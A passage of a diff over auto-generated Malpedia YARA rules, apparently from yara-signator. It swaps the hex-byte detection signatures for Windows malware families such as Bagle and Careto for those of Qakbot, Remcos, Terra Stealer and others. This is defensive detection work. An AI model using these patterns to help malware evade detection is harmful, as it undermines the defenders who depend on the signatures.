"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crutch_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e61c3758e63fca434ff16788b9f2b50055e755cc5399fb0099b370350ca7876a" + logic_hash = "f4a23c9ddcadc5cf9e865fc280dcc92eecf1924dce5c0d12173bb5cf5ba3e418" score = 75 quality = 75 tags = "FILE" @@ -133481,34 +133231,34 @@ rule MALPEDIA_Win_Unidentified_110_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 753e 4c89f1 89da 4189e8 e8???????? 8a08 488b5040 } - $sequence_1 = { 4c89e0 48f7e1 4989c7 0f91c0 0f8050010000 88c3 48c1e306 } - $sequence_2 = { f0480fc11d???????? 8b05???????? 65488b0c2558000000 488b04c1 80b82001000000 7505 e8???????? } - $sequence_3 = { 48ffc8 4883f802 0f83ab000000 488bb42430010000 488d4e18 498b1424 e8???????? } - $sequence_4 = { e8???????? 0f1006 0f104e10 0f105620 0f119390000000 0f118b80000000 0f114370 } - $sequence_5 = { 4c89c1 e8???????? 4889c7 83ff01 7543 4889d9 ba2f000000 } - $sequence_6 = { 4c8d642448 49c7c6ffffffff 4c89e9 e8???????? 6683f801 0f85b6000000 89d5 } - $sequence_7 = { 4c8d0557060800 ba25000000 e8???????? 0f0b 56 4883ec20 488b31 } - $sequence_8 = { 4869cf48010000 4801c1 4883c108 48c741f801000000 41b840010000 4c89f2 e8???????? } - $sequence_9 = { 65488b0c2558000000 488b2cc1 0fb7b578010000 66c785780100000180 4889f9 4c89f2 e8???????? } + $sequence_0 = { 8b5608 50 52 e8???????? 50 68???????? 56 } + $sequence_1 = { c7861840000001000000 e8???????? 83c40c eb55 8b8608400000 68???????? 68???????? } + $sequence_2 = { 771d 0fb68938370210 ff248d30370210 8b148500810610 52 68???????? eb19 } + $sequence_3 = { 762d 8b4c2444 390f 7560 8bd1 56 52 } + $sequence_4 = { 51 e8???????? 83c404 85c0 740d c744245c2a000000 e9???????? } + $sequence_5 = { 33cc e8???????? 81c4a8090000 c3 663b742414 763a 8b4c2410 } + $sequence_6 = { 8b442428 8b742420 8b38 81c630050000 e8???????? 5f 5e } + $sequence_7 = { ff7580 e8???????? 83c404 6a01 6a2f 53 e8???????? } + $sequence_8 = { e9???????? 8b44240c 68???????? 50 e8???????? 83c408 e9???????? } + $sequence_9 = { 52 e8???????? 8bf0 83c408 85f6 750f 5e } condition: - 7 of them and filesize < 3217408 + 7 of them and filesize < 1067008 } -rule MALPEDIA_Win_Classfon_Auto : FILE +rule MALPEDIA_Win_Qakbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a555a1ed-ff7a-5a40-964f-e4a3266a1aa9" + id = "e4d23f43-6680-5968-8ae5-2a0425f4dd3a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.classfon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.classfon_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qakbot_auto.yar#L1-L535" license_url = "N/A" - logic_hash = "4a5e61a984c75da7dda5bee4683bb4bb3bc0f6865b6aa2b1e5cfe06d77a7200c" + logic_hash = "bc5a235576277933c27e5fa570e0287f83745ef4475cd2eb6f595916a62cbcba" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -133520,32 +133270,85 @@ rule MALPEDIA_Win_Classfon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f855c010000 8a442424 8d7c2424 84c0 742a 8b1d???????? a1???????? } - $sequence_1 = { 89be04020000 8b8600020000 3bc7 740e 83f8ff } - $sequence_2 = { 57 b985000000 33c0 8d7c240d c644240c00 f3ab 66ab } - $sequence_3 = { 53 56 8b35???????? 57 8bbc24dc070000 6800010000 8b07 } - $sequence_4 = { 7520 8b4350 6a04 6800200000 } - $sequence_5 = { 6a20 68ff010f00 6a00 8bd0 } - $sequence_6 = { 8bf0 3bf5 0f859d010000 8d4c241c 8d542424 51 8b4c2414 } - $sequence_7 = { 683f000f00 6a00 51 52 ff15???????? 8bf0 85f6 } - $sequence_8 = { 6a01 6800000080 57 ff15???????? 8b742418 83f8ff } - $sequence_9 = { 8b442418 8d4c2400 c744240000000000 51 68???????? } + $sequence_0 = { 33c0 7402 ebfa e8???????? } + $sequence_1 = { 7402 ebfa 33c0 7402 } + $sequence_2 = { 7402 ebfa eb06 33c0 } + $sequence_3 = { 50 e8???????? 8b06 47 59 } + $sequence_4 = { 59 59 6afb e9???????? } + $sequence_5 = { 740d 8d45fc 6a00 50 } + $sequence_6 = { 48 50 8d8534f6ffff 6a00 50 e8???????? } + $sequence_7 = { 50 e8???????? 59 59 6afe 58 } + $sequence_8 = { 8945fc e8???????? 8bf0 8d45fc 50 e8???????? } + $sequence_9 = { 33c0 e9???????? 33c0 7402 } + $sequence_10 = { 7402 ebfa e9???????? 6a00 } + $sequence_11 = { eb0b c644301c00 ff465c 8b465c } + $sequence_12 = { 7cef eb10 c644301c00 ff465c } + $sequence_13 = { e8???????? 83c410 33c0 7402 } + $sequence_14 = { 5e c9 c3 55 8bec 81ecc4090000 } + $sequence_15 = { 85c0 750a 33c0 7402 } + $sequence_16 = { 7507 c7466401000000 83f840 7507 } + $sequence_17 = { 837dfc00 750b 33c0 7402 } + $sequence_18 = { e8???????? e8???????? 33c0 7402 } + $sequence_19 = { 833d????????00 7508 33c0 7402 } + $sequence_20 = { c7466001000000 33c0 40 5e } + $sequence_21 = { 7402 ebfa 837d1000 7408 } + $sequence_22 = { 80ea80 8855f0 e8???????? 0fb64df7 } + $sequence_23 = { 83f841 7c05 83f85a 7eeb 83f861 } + $sequence_24 = { 7eeb 83f861 7c05 83f87a } + $sequence_25 = { e8???????? 833822 7505 83c8ff } + $sequence_26 = { 6a00 50 e8???????? 6a00 57 e8???????? } + $sequence_27 = { b301 eb0c 813800300000 b302 7202 } + $sequence_28 = { 7418 813800200000 7304 b301 eb0c } + $sequence_29 = { c1e81e 33448afc 69c06589076c 03c1 89048a ff82c0090000 81bac009000070020000 } + $sequence_30 = { ff10 85c0 750b ff15???????? e9???????? } + $sequence_31 = { 50 8d45d8 50 8d45d4 50 8d45ec 50 } + $sequence_32 = { 7507 e8???????? 8bc8 890d???????? } + $sequence_33 = { 83f801 7513 85c9 7507 e8???????? } + $sequence_34 = { 6a00 6800600900 6a00 ff15???????? a3???????? } + $sequence_35 = { e8???????? 33c0 c3 55 8bec 51 51 } + $sequence_36 = { 50 ff5508 8bf0 59 } + $sequence_37 = { 6a00 58 0f95c0 40 50 } + $sequence_38 = { c3 33c9 3d80000000 0f94c1 } + $sequence_39 = { 750c 57 ff15???????? 6afe 58 } + $sequence_40 = { 57 ff15???????? 33c0 85f6 0f94c0 } + $sequence_41 = { 57 6a00 6a02 ff15???????? 8bf8 83c8ff 3bf8 } + $sequence_42 = { 50 e8???????? 6a40 8d4590 } + $sequence_43 = { 56 e8???????? 83c40c 8d4514 50 } + $sequence_44 = { c7871002000001000000 8bc3 eb02 33c0 } + $sequence_45 = { e8???????? e8???????? e8???????? e8???????? 85c0 7405 e8???????? } + $sequence_46 = { eb13 488bd3 488bce ff15???????? } + $sequence_47 = { eb05 be01000000 488b15???????? 488b4d48 ff5220 488b15???????? } + $sequence_48 = { f7d9 eb03 4d8bda 4d8bc3 33d2 498d7b01 } + $sequence_49 = { e8???????? 6a00 8d45d4 50 68???????? } + $sequence_50 = { 5d c3 33c9 66890c46 } + $sequence_51 = { 8974240c 8a742431 80c63d 28d6 8874240b 69f60ea9c735 89742404 } + $sequence_52 = { 69f63c13b648 01f2 89442428 8954242c } + $sequence_53 = { 8955cc 74bf e9???????? 55 89e5 83ec08 c745fca1552064 } + $sequence_54 = { 0f4cc8 8b442408 890424 894c2404 8b4c2444 ffd1 83ec08 } + $sequence_55 = { 8b84248c000000 35fc387373 8b4c2470 01c1 } + $sequence_56 = { 57 85c0 0f8445010000 8b3d???????? } + $sequence_57 = { 66660f1f840000000000 8b4c9604 330c96 81e1ffffff7f } + $sequence_58 = { 8b442438 8b4c243c 8b11 83fa00 8944241c 894c2420 } + $sequence_59 = { c785f8f9ffff00000000 6a00 56 8bf9 e8???????? } + $sequence_60 = { 8b742418 8b7c241c f7d7 f7d6 89742418 } + $sequence_61 = { 7536 56 50 ff35???????? ff15???????? 8b85c0faffff 85c0 } + $sequence_62 = { 880c1a 8a4df3 324df3 884df3 83c301 8b55ec 39d3 } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 4883456 } -rule MALPEDIA_Win_Careto_Auto : FILE +rule MALPEDIA_Win_Termite_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "57e5d9f7-b1a4-5fc9-9a67-0b8686d462cc" + id = "15b0d808-d79f-5784-bdde-fa38f9ed0952" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.careto" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.careto_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.termite" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.termite_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "e5dc00dd8daf311387d91262fca293d89a75fa8c242ab0cc183af2043a20f18b" + logic_hash = "3a2de453ce8083809c117db4d85515335282489c9c64cdb918c15a2c3d5282e4" score = 75 quality = 75 tags = "FILE" @@ -133559,32 +133362,32 @@ rule MALPEDIA_Win_Careto_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 895104 47 ff15???????? eb58 8d45ec 50 8d45f4 } - $sequence_1 = { eb1e ff7508 8d8568fbffff 50 } - $sequence_2 = { 85c0 0f850e020000 57 6a40 59 889ddcfdffff 8dbdddfdffff } - $sequence_3 = { 8b4b04 56 8b7308 8bc1 03f2 3bf0 8945fc } - $sequence_4 = { ff55e0 3bc6 8945e4 740b 3dea000000 0f85fd000000 8b7df4 } - $sequence_5 = { 7584 85ff 7407 57 ff15???????? 33c0 40 } - $sequence_6 = { 8b3d???????? be???????? 7579 ffd7 } - $sequence_7 = { a0???????? c3 e8???????? 84c0 740c 833d????????05 } - $sequence_8 = { 81ecb8080000 53 8b5d08 68???????? 53 c745e8d4070000 e8???????? } - $sequence_9 = { 7416 48 740c 83e804 754a 68???????? } + $sequence_0 = { 7e5e 8b45ec 8b4010 8945f0 c745f400000000 eb41 } + $sequence_1 = { 8b55f4 8b5204 891424 ffd0 8b4508 8b4010 } + $sequence_2 = { 8b45f4 89442408 8b450c 89442404 8b45f0 890424 e8???????? } + $sequence_3 = { 83f83f 771c 8b5508 8b45f4 899485f0feffff 8b85ecfeffff } + $sequence_4 = { 8945fc 8b4508 8b4004 3b45f8 7e06 837dfc00 75d7 } + $sequence_5 = { 8d85e4feffff 89442410 c744240c00000000 c744240800000000 8d85ecfeffff 89442404 891424 } + $sequence_6 = { 890424 e8???????? c745b044000000 c745dc00010000 8b45f4 8945f0 8b45f0 } + $sequence_7 = { c1e002 01d0 c1e002 05???????? c7400c00000000 8b55fc 89d0 } + $sequence_8 = { 890424 e8???????? 8b450c 8b400c c744240804000000 8d9568feffff } + $sequence_9 = { c7442404???????? 891c24 8944240c 8d45e1 } condition: - 7 of them and filesize < 94208 + 7 of them and filesize < 312320 } -rule MALPEDIA_Win_Bagle_Auto : FILE +rule MALPEDIA_Win_Remcos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fe60543c-8794-58a6-ba42-981191e2cc82" + id = "3ceadbea-888c-55f4-a47d-fc201de9516f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bagle" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bagle_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remcos_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "eb49ea6ae472fea8285550f6b2bf1be9757590ced359fd50f12f529f0e70029d" + logic_hash = "53c8db12d7a75d44b5d7d131da62120ba8cecf14ac635a0e0b17a53e5078529b" score = 75 quality = 75 tags = "FILE" @@ -133598,32 +133401,32 @@ rule MALPEDIA_Win_Bagle_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b03d f3aa 5b 5f } - $sequence_1 = { e340 ac c1e010 83f901 740b } - $sequence_2 = { 56 57 53 8b7508 8b7d0c 8b4d10 33db } - $sequence_3 = { 6a00 6a00 6a04 50 e8???????? 0bc0 } - $sequence_4 = { 042b aa c3 55 8bec } - $sequence_5 = { 68???????? e8???????? 68???????? 68???????? e8???????? 6804010000 } - $sequence_6 = { 2bf9 b03d f3aa 5b } - $sequence_7 = { 2bf9 b03d f3aa 5b 5f 5e } - $sequence_8 = { 0bc0 7426 6880000000 68???????? } - $sequence_9 = { 668945f2 c745f400000000 6a06 6a01 6a02 e8???????? 8bd8 } + $sequence_0 = { 85c0 7410 6a00 ff35???????? } + $sequence_1 = { ff15???????? 50 ff15???????? 8d45f0 33f6 } + $sequence_2 = { 51 51 8d45f8 c745f808000000 50 ff15???????? ff15???????? } + $sequence_3 = { ff15???????? 50 ff15???????? 8d45f0 33f6 50 } + $sequence_4 = { 85c0 7410 6a00 ff35???????? ff15???????? } + $sequence_5 = { 50 6a28 ff15???????? 50 ff15???????? 8d45f0 33f6 } + $sequence_6 = { 7410 6a00 ff35???????? ff15???????? } + $sequence_7 = { 8d45f8 50 ff15???????? ff7508 } + $sequence_8 = { 51 8d45f8 c745f808000000 50 ff15???????? ff15???????? } + $sequence_9 = { 8d45f8 50 ff15???????? ff7508 ff15???????? } condition: - 7 of them and filesize < 245760 + 7 of them and filesize < 1054720 } -rule MALPEDIA_Win_Gooseegg_Auto : FILE +rule MALPEDIA_Win_Joao_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d8132454-9f6e-5d45-ae4a-e06046e4b7c3" + id = "a574fe28-a1f8-553e-b910-02d4312c2eca" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gooseegg" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gooseegg_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.joao" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.joao_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "8983b8f0c526551207a00c2d480777794912cb3a61999ef4b05b249edd7a0003" + logic_hash = "26a2c27da2ce5891d333b17daccfb50c0846c7c8910a76f91916cef0b5d7e33f" score = 75 quality = 75 tags = "FILE" @@ -133637,34 +133440,34 @@ rule MALPEDIA_Win_Gooseegg_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4d85c9 488d3d797c0000 488bc2 4c8bfa 4d0f45d1 4885d2 418d6b01 } - $sequence_1 = { 488d05f1550100 c3 488d05f1550100 c3 4883ec28 e8???????? } - $sequence_2 = { eb02 33db 4c8d357194ffff 4885db } - $sequence_3 = { ff15???????? 48832300 4883c308 488d05b9440100 483bd8 } - $sequence_4 = { 488d35abe70000 48895c2420 488d056fff0000 483bd8 7419 483933 740e } - $sequence_5 = { 488b05???????? 488d150ef7ffff 483bc2 7423 65488b042530000000 } - $sequence_6 = { 4c8d0dd17b0000 33c9 4c8d05c47b0000 488d15c57b0000 e8???????? 4885c0 740b } - $sequence_7 = { 488945e0 895128 488d0dbb940000 488b45d8 488908 488d0d0d190100 488b45d8 } - $sequence_8 = { 8bfb e9???????? e8???????? 488d1df2370100 } - $sequence_9 = { 85c0 0f849e000000 4c8d051f330100 ba00020000 } + $sequence_0 = { e8???????? 83c404 c705????????0f000000 891d???????? 881d???????? 8b4df4 64890d00000000 } + $sequence_1 = { 5d c20c00 68???????? 53 e8???????? } + $sequence_2 = { 83c004 8955d0 8945cc 3bd1 } + $sequence_3 = { e8???????? 8845d4 c745fc01000000 84c0 0f84dc000000 8b16 8d4de4 } + $sequence_4 = { 50 e8???????? 83c414 8b4508 c1e005 03c3 83e7e0 } + $sequence_5 = { c1e005 03c3 83e7e0 03fb 894608 897e04 891e } + $sequence_6 = { 52 6a40 6a20 68???????? ff15???????? } + $sequence_7 = { 83ec08 53 56 8b7510 33c0 } + $sequence_8 = { 8bc6 2bc7 5f 5e 5b 5d c20c00 } + $sequence_9 = { 897dfc e8???????? 8d55f8 52 8bce c745f808000000 } condition: - 7 of them and filesize < 217088 + 7 of them and filesize < 2867200 } -rule MALPEDIA_Win_Nspx30_Auto : FILE +rule MALPEDIA_Win_Terra_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b7c1fb90-4e2e-567c-b71f-a04015c19cf0" + id = "234ed187-f851-554b-a630-3727e334e709" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nspx30" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nspx30_auto.yar#L1-L307" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.terra_stealer_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "21c2ef2f3120756bc5bb636c0145196e56cf18e54f32669d823d96a566a0c7b3" + logic_hash = "ba7828bda62d9e0272e6a0dfd1c69067ed7e871d009d7d515799e6dd5814f419" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -133676,53 +133479,32 @@ rule MALPEDIA_Win_Nspx30_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f3ab 66ab aa b06c } - $sequence_1 = { 0f8418030000 8b8530e5ffff 8b0485384c0410 f644060480 0f8400030000 e8???????? } - $sequence_2 = { 8903 c7831400080000000000 eb58 ff15???????? 8bc8 8b44240c } - $sequence_3 = { 6a04 6800100000 03c3 57 50 ff5508 } - $sequence_4 = { 8bf0 85db 742e 85ff } - $sequence_5 = { 66c78424d80000007300 66c78424de0000006100 66c78424e20000006f00 66c78424e60000002100 66c78424ea0000006500 66c78424ec0000007700 66c78424ee0000003a00 } - $sequence_6 = { 8b45f8 50 e8???????? 8945a8 688e4e0eec } - $sequence_7 = { 6689b4249c000000 52 be32000000 6a00 51 66c74424787b00 66c744247a3300 } - $sequence_8 = { 0f8c89010000 8b4c2410 8b11 8b420c 8b7a08 } - $sequence_9 = { 33c0 e9???????? 8b550c 52 6a14 e8???????? } - $sequence_10 = { 5e 7426 40 c60057 40 c60049 40 } - $sequence_11 = { 833800 0f8494010000 ff750c ff7508 e8???????? 8bf0 } - $sequence_12 = { 8b44240c 85c0 7460 53 ba04000000 } - $sequence_13 = { e8???????? 8b0f 8bc1 c1f805 83e11f 8b0485384c0410 c1e106 } - $sequence_14 = { 83ec0c 53 8b5c2414 56 57 6a01 } - $sequence_15 = { b843000000 66898c24c0000000 66898c24ce000000 66898c24d2000000 } - $sequence_16 = { 6689bc24fe000000 6689bc2400010000 6689b42402010000 66c78424040100004500 66c78424080100003300 66c784240a0100004500 } - $sequence_17 = { 6689444ffe 3bcb 72e7 e9???????? 8b7c2418 33c9 85db } - $sequence_18 = { bf???????? 83c9ff 33c0 6a5c } - $sequence_19 = { 8b0495384c0410 83c702 ff3418 ff15???????? 85c0 750e ff15???????? } - $sequence_20 = { 894dfc 8b55fc 8b4508 034220 8945ec } - $sequence_21 = { 8b1481 8955d8 8b4508 0345d8 eb04 eba4 } - $sequence_22 = { ffd2 c7461000000000 8b4608 53 8b5c2410 85c0 } - $sequence_23 = { 83c404 c745fcffffffff 833d????????00 8b07 } - $sequence_24 = { c7402420120010 c7402860120010 33c0 5e c20800 6879270000 ff15???????? } - $sequence_25 = { b801000000 5b 81c410030000 c20c00 5f 5e } - $sequence_26 = { 5b 754a c7002c000000 895004 895008 c7400ca0120010 } - $sequence_27 = { 83c9ff 33c0 c644240c57 c644240d69 c644240e6e c644240f64 c64424106f } - $sequence_28 = { 6a00 ff15???????? 8bfb 83c9ff 33c0 b25c f2ae } - $sequence_29 = { 7c86 5f 5d 5e 5b } - $sequence_30 = { 57 66896c2436 66896c2446 8d4c2414 bb38000000 be2d000000 } + $sequence_0 = { 85c0 0f8523030000 488b0f 4885c9 7405 e8???????? 4180fc05 } + $sequence_1 = { e8???????? 488983f0120000 4885c0 7456 41b80f000000 488d15302f0900 488bcb } + $sequence_2 = { eb04 4c8b7d28 4533c9 4533c0 488d1525861d00 488d4c2478 ff15???????? } + $sequence_3 = { ffca 84c0 7425 8bc8 410fb600 420fb6843840061f00 4238843940061f00 } + $sequence_4 = { 0f8c6effffff 4533c9 418b5708 498bc1 8b7e08 85d2 498bcc } + $sequence_5 = { ffc0 84c9 75e9 4863c8 4881f9f4010000 0f8339070000 488d8550010000 } + $sequence_6 = { eb24 498b4e10 4885c9 7415 0f1f00 8b4164 2403 } + $sequence_7 = { eb07 896b2c c6430144 488bc3 488b5c2478 4883c430 415d } + $sequence_8 = { e9???????? 488d8ae80f0000 e9???????? 488d8a00100000 e9???????? 488d8a18100000 e9???????? } + $sequence_9 = { e9???????? 488b5308 488d05d334f3ff 48ff42f8 4c8b4318 488b3b 4981f8ffffff7f } condition: - 7 of them and filesize < 3789824 + 7 of them and filesize < 4621312 } -rule MALPEDIA_Win_Comlook_Auto : FILE +rule MALPEDIA_Win_Transbox_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "248fcbac-27be-588f-a9f5-d4bcd5003e90" + id = "587785a3-ca04-5ed2-9e1f-d44127f3688f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.comlook" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.comlook_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.transbox" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.transbox_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "342d3eba65a3a3eb715f8cb01d2789f76a6de2adfe9c491e43fe2b64805812f2" + logic_hash = "5d7fecd2b9b1e3ab63215aebd667fbd9c5d2815341d593f4c4a09feacf699ae3" score = 75 quality = 75 tags = "FILE" @@ -133736,32 +133518,32 @@ rule MALPEDIA_Win_Comlook_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd2 3bf4 e8???????? b807000000 e9???????? 837db000 741f } - $sequence_1 = { ff15???????? 83c404 3bf4 e8???????? 8b4508 c7400800000000 33c9 } - $sequence_2 = { e9???????? 8b55f8 83ba5007000000 750a 837dbc00 0f8438020000 c78554ffffff00000000 } - $sequence_3 = { e9???????? 68df010000 68???????? 6a0c 6a05 e8???????? 8b87c4000000 } - $sequence_4 = { eb0a c785c8feffff44f72010 8b5508 83ba7403000000 7411 8b4508 8b8874030000 } - $sequence_5 = { c745f000000000 6a00 e8???????? 83c404 8945e8 8955ec c745e400000000 } - $sequence_6 = { eb03 894dbc 8b4de4 8b55d0 8bc2 83f910 7303 } - $sequence_7 = { eb0a c785b4eeffff518c1e10 837d1400 740c c785b0eeffff70191e10 eb0a c785b0eeffff518c1e10 } - $sequence_8 = { e9???????? 6a02 68???????? 6a01 8b5508 52 e8???????? } - $sequence_9 = { eb11 8b5518 8b4510 33c9 3b4218 0f9fc1 894ddc } + $sequence_0 = { 8bf1 8bda 57 837e1408 } + $sequence_1 = { 33d2 8b5d08 8955fc 8945e4 8945d8 8955e8 395104 } + $sequence_2 = { 8d4db8 e8???????? 8b35???????? 3b35???????? } + $sequence_3 = { 74e0 6a04 8d85f8fbffff 50 6a49 6a00 ff964c010000 } + $sequence_4 = { f7fb 56 8bf0 bbe0077e00 8bc3 2bc6 83f801 } + $sequence_5 = { 57 8bf1 33ff 6804010000 57 8d4610 c706???????? } + $sequence_6 = { 894608 85c0 74e0 6a04 8d85f8fbffff 50 6a49 } + $sequence_7 = { 8985d8faffff 8b8544faffff 8985dcfaffff 397e14 7204 8b16 } + $sequence_8 = { e8???????? 83c420 b812000000 33d2 8a900c530110 6683bc96760a000000 7506 } + $sequence_9 = { 8d8504e1ffff 89bd44e1ffff 50 33db 89b540e1ffff 53 } condition: - 7 of them and filesize < 4553728 + 7 of them and filesize < 288768 } -rule MALPEDIA_Win_Mechanical_Auto : FILE +rule MALPEDIA_Win_Breakthrough_Loader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f673020e-2414-508c-b896-8bd1153a2a5f" + id = "52cb4cda-5730-54cc-9d0c-9a1defab8d55" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mechanical" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mechanical_auto.yar#L1-L161" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.breakthrough_loader_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "bdb95de618c80d698fcb0c6f336b0430b26a5d0b33d6a5403bc772ebe314b16e" + logic_hash = "4417981ceb1c9a0093d9616e44b7782cd49e18f4737822a85a59217b8658f0b2" score = 75 quality = 75 tags = "FILE" @@ -133775,38 +133557,32 @@ rule MALPEDIA_Win_Mechanical_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 03c7 3bca 72ed 5f } - $sequence_1 = { 4883c201 4983e901 0f855dfeffff 488d9424000a0000 } - $sequence_2 = { 030495c0e54200 eb05 b8???????? f6400420 } - $sequence_3 = { 4883ec28 488d15056a0200 e8???????? 4885c0 } - $sequence_4 = { 0f84e4e30000 488b8500730200 488d8c2410600000 33d2 488901 8b8508730200 41b8f5000000 } - $sequence_5 = { 0401 3cbe 8844240b 76e2 } - $sequence_6 = { 033485c0e54200 8b45e4 8b00 8906 } - $sequence_7 = { 03ce c6840c3801000000 8d8424a05c0000 33f6 } - $sequence_8 = { 488bf3 48c1fe05 4c8d2547e50000 408afb 83e71f 48c1e706 } - $sequence_9 = { 00686c 42 0023 d18a0688078a } - $sequence_10 = { 03c1 1bc9 0bc1 59 e9???????? e8???????? ff742404 } - $sequence_11 = { 4585c0 0f84b6010000 488d9424f05d0000 458bc8 66666690 66666690 0fb602 } - $sequence_12 = { 033485c0e54200 c745e401000000 33db 395e08 } - $sequence_13 = { 0fb785107a0200 66894108 0fb685127a0200 88410a 488d8c248b010000 } - $sequence_14 = { 33d2 41b803010000 4488a42460430000 488905???????? e8???????? 4c8d1de50a0200 498bcc } - $sequence_15 = { 4489642430 4488a424100b0000 e8???????? 4c8d1dfcd60100 } + $sequence_0 = { eb06 8b3d???????? 8b4df4 85c9 7403 } + $sequence_1 = { 50 57 ff15???????? 85c0 740a ba???????? e8???????? } + $sequence_2 = { 83c408 83f8ff 742a 8b75f8 8bce 8935???????? } + $sequence_3 = { ff5220 83e800 7412 83e801 7411 8b4c2424 } + $sequence_4 = { 56 57 8965f0 8955dc bb???????? 895de4 33ff } + $sequence_5 = { 7408 8b10 8bc8 6a01 ff12 5f 5e } + $sequence_6 = { 8b048540354500 f644012880 745d 8d45d8 50 ff75e4 ff15???????? } + $sequence_7 = { 85c0 7fb4 837dc810 8d4db4 0f434db4 33c0 } + $sequence_8 = { ff75e4 e8???????? 8b7508 c746140f000000 } + $sequence_9 = { 895de4 8b049d40354500 8945d4 8955e8 8a5c1029 } condition: - 7 of them and filesize < 434176 + 7 of them and filesize < 753664 } -rule MALPEDIA_Win_Webc2_Div_Auto : FILE +rule MALPEDIA_Win_Atmspitter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0487cd24-3efb-59f7-a789-643d02cfd1b0" + id = "6677a06d-f51d-5f9e-9075-cbbb34c35eda" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_div" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_div_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atmspitter_auto.yar#L1-L121" license_url = "N/A" - logic_hash = 